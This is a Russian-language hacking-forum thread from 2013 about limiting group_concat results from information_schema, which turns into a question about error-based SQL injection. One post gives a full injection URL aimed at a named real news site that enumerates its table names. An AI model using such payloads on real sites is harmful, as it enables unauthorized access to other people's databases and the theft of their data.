Вопрос по group_concat

Discussion in 'Песочница' started by qaz, 17 Oct 2013.

  1. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    можно как-то в запросе select+group_concat(table_name) from information_schema.tables

    групировать не все таблици а только 10 например??
     
  2. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Можно, если место group_concat() использовать хотябы concat(). group_concat() c лимитами не работает!
     
    _________________________
  3. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    при запросе с concat() пишет, Subquery returns more than 1 row нужен другой вариант
     
  4. UXOR

    UXOR Member

    Joined:
    16 Aug 2013
    Messages:
    44
    Likes Received:
    7
    Reputations:
    6
    Winstrool все правильно сказал!

    PHP:
    mysqlselect concat(table_namefrom information_schema.tables limit 6;
    PHP:
    +---------------------------------------+
    concat(table_name)                    |
    +---------------------------------------+
    CHARACTER_SETS                        |
    COLLATIONS                            |
    COLLATION_CHARACTER_SET_APPLICABILITY |
    COLUMNS                               |
    COLUMN_PRIVILEGES                     |
    ENGINES                               |
    +---------------------------------------+
    6 rows in set (0.01 sec)
     
    1 person likes this.
  5. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    да не, не тот вариант ((

    PHP:
    http://newsukraine.org.ua/idv.php?id=107%27+or+1+group+by+concat%28%28select+concat%28table_name%29%20from%20information_schema.tables%20limit%206%29,0x00,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+
     
  6. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    Уважаемый, помойму вы что то начинаите путать, вопервых сдесь вопросы по самой БД, а не по тому как крутить скули в еrror'e, во вторых для этого есть отдельная ветка где решаются подобные вопросы и вы об этом прекрасно знаите https://forum.antichat.ru/thread46016.html, в третих, error выводит ограниченное колличество знаков, в результате чего по вашей просьбе вывести 10 табл не возможно, крутите по одной

     
    _________________________
    #6 winstrool, 18 Oct 2013
    Last edited: 18 Oct 2013
  7. YaBtr

    YaBtr Members of Antichat

    Joined:
    30 May 2012
    Messages:
    601
    Likes Received:
    350
    Reputations:
    652
    Согласен,что пост не в той теме, но qaz задал интересный вопрос.
    Все правильно, в error существует ограничение на вывод, но все-таки возможен вывод более 1 таблицы.

    Вывод:
    Как видим,что вывелось 12 таблиц :)
    Запрос совсем костыльный, но работает. Так,что qaz, есть куда копать.

    UPD

    Если есть возможность, перенесите,пожалуйста, последние 7 постов в тему "Ваши вопросы по уязвимостям".
     
    #7 YaBtr, 18 Oct 2013
    Last edited: 18 Oct 2013
    1 person likes this.
Loading...